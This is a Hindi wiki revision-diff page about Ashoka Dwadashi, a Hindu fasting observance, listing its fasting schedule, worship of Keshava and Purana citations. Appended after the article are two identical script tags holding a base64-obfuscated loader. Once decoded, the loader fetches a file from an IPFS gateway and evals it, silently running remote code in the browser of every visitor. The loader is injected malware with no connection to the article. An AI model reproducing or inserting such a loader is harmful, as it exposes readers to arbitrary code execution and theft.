"अशोक द्वादशी": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
छो (Text replace - ")</ref" to "</ref")
 
(एक दूसरे सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 1: पंक्ति 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*अशोक द्वादशी को [[विशोक द्वादशी]] भी कहते हैं।  
*अशोक द्वादशी को [[विशोक द्वादशी]] भी कहते हैं।  
*अशोक द्वादशी [[आश्विन]] माह  में प्रारम्भ होती है।
*अशोक द्वादशी [[आश्विन]] माह  में प्रारम्भ होती है।
पंक्ति 5: पंक्ति 5:
*अशोक द्वादशी व्रत में [[दशमी]] को हल्का भोजन, [[एकादशी]] को उपवास, द्वादशी को पारण करना चाहिये।
*अशोक द्वादशी व्रत में [[दशमी]] को हल्का भोजन, [[एकादशी]] को उपवास, द्वादशी को पारण करना चाहिये।
*अशोक द्वादशी में [[केशव (कृष्ण)|केशव]] की पूजा की जाती है।
*अशोक द्वादशी में [[केशव (कृष्ण)|केशव]] की पूजा की जाती है।
*ऐसी मान्यता है कि अशोक द्वादशी व्रत से स्वास्थ्य, सौन्दर्य, दुःख से मुक्ति मिलती है।<ref> [[मत्स्य पुराण]](81|1-28, 82|26-30); हेमाद्रि व्रत खण्ड (1, 1075-1078)</ref>  
*ऐसी मान्यता है कि अशोक द्वादशी व्रत से स्वास्थ्य, सौन्दर्य, दुःख से मुक्ति मिलती है।<ref> [[मत्स्य पुराण]](81|1-28, 82|26-30); हेमाद्रि व्रत खण्ड (1, 1075-1078</ref>  
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

12:38, 27 जुलाई 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • अशोक द्वादशी को विशोक द्वादशी भी कहते हैं।
  • अशोक द्वादशी आश्विन माह में प्रारम्भ होती है।
  • अशोक द्वादशी एक वर्ष तक करना चाहिये।
  • अशोक द्वादशी व्रत में दशमी को हल्का भोजन, एकादशी को उपवास, द्वादशी को पारण करना चाहिये।
  • अशोक द्वादशी में केशव की पूजा की जाती है।
  • ऐसी मान्यता है कि अशोक द्वादशी व्रत से स्वास्थ्य, सौन्दर्य, दुःख से मुक्ति मिलती है।[1]

टीका टिप्पणी और संदर्भ

  1. मत्स्य पुराण(81|1-28, 82|26-30); हेमाद्रि व्रत खण्ड (1, 1075-1078

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>